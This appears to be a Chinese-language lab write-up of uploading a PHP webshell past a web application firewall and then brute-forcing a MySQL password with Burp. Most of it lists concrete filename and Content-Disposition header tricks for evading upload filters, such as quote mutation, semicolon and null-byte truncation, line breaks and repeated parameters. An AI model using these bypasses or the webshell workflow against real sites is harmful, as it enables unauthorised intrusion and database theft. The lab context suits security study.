记一次上传webshell绕过waf以及爆破数据库
本人使用的是靶场,我是来研究如何绕过waf
先查看代码,发现第一关是前端验证,那么就是上传一个带有webshell的后门图片
上传,使用burp抓取数据包,更改后缀
然后放包,发现到了waf
现在试试绕过waf
绕过waf有两种方法:
一.让waf检测不到你的脚本后缀(这里我使用的是php)
二.使用其它的脚本去上传,也能执行php代码
这里我使用第一种方法(第一种方法里面有很多小方法):
数据溢出-防匹配(xxxx……)
不断去匹配数据,数据量特别大的时候,waf程序就会崩溃,或者截至在哪里,网上也叫:垃圾数据
符号变异-防匹配(’ " ;)
Content-Disposition: form-data;
name="upload_file"; filename="webshell.php" Content-Type: image/jpe
有的使用了双引号和等于,而有的使用了( :),没有使用双引号的那就是自带的属性
1.在 filename="webshell.jpg"没有引号相当于连接后面的数据,可以测试去加上( ;)去变成两行数据
2.或者改成单引号
filename='webshell.php'
或
filename="webshell.php //这样会把"webshell当作名字"webshell.php
这样会有三种情况(没有闭合数据,waf会认为是错误数据)
1.匹配到"webshell.php
2.匹配到webshell.php
3.匹配不到
但是在后面加上 " 绕不过 filename=webshell.php",因为安全狗是截取引号前面的字符
或者
filename=webshell.php
或者
filename="webshell"webshell.php //因为waf是截取引号前面的字符
关键是找到waf过滤关键字
数据溢出-防匹配(xxxx……)
filename="webshell.php%00.jpg "
filename="webshell.jpg;.php"
//waf以为是(;)截断了,而数据包把这个当成了完整的数据
换行:
filename="webshell.p
h
p"
安全狗认为是( p\nh\np\n" )被\n干扰了,
重复数据-防匹配(参数多次)
一.
filename="x.jpg" ; filename="y.jpg"; //会以y.jpg为主 ,多弄几个
filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.jpg"; filename="x.jpg" ; filename="y.php";
这样可以绕过,
二.
Content-Disposition: form-data; name="upload_file";
filename="Content-Disposition: form-data; name="upload_file"; x.php"
Content-Type: image/jpeg
waf会认为x.php没有给到参数,
或
Content-Disposition: form-data; name="upload_file";
filename=" Content-Type: image/jpe; x.php"
Content-Type: image/jpeg
或
Content-Disposition: form-data; name="upload_file";
filename=" /jpeg; x.php"
Content-Type: image/jpe
Fuzz web字典
可以使用字典去爆破
看看那个能成功最后
这里我使用数据溢出
数据溢出-防匹配(xxxx……)的方法
改成
上传成功,然后使用蚁剑去连接webshell
图片地址
进入网站目录成功
现在去爆破数据库,点击检测,发现了三个数据库,我们使用mysql进行爆破
设置代理,使用burp去爆破数据库密码
使用狙击手模式
爆破成功
现在连接数据库
打开数据库
ok成功,但是在服务器上面还是被找到了,没有免杀,不是我不想免杀,是我还不会,但是总体思路是正确的,这个被找到是因为,爆破数据库的原因,被waf检测到流量访问异常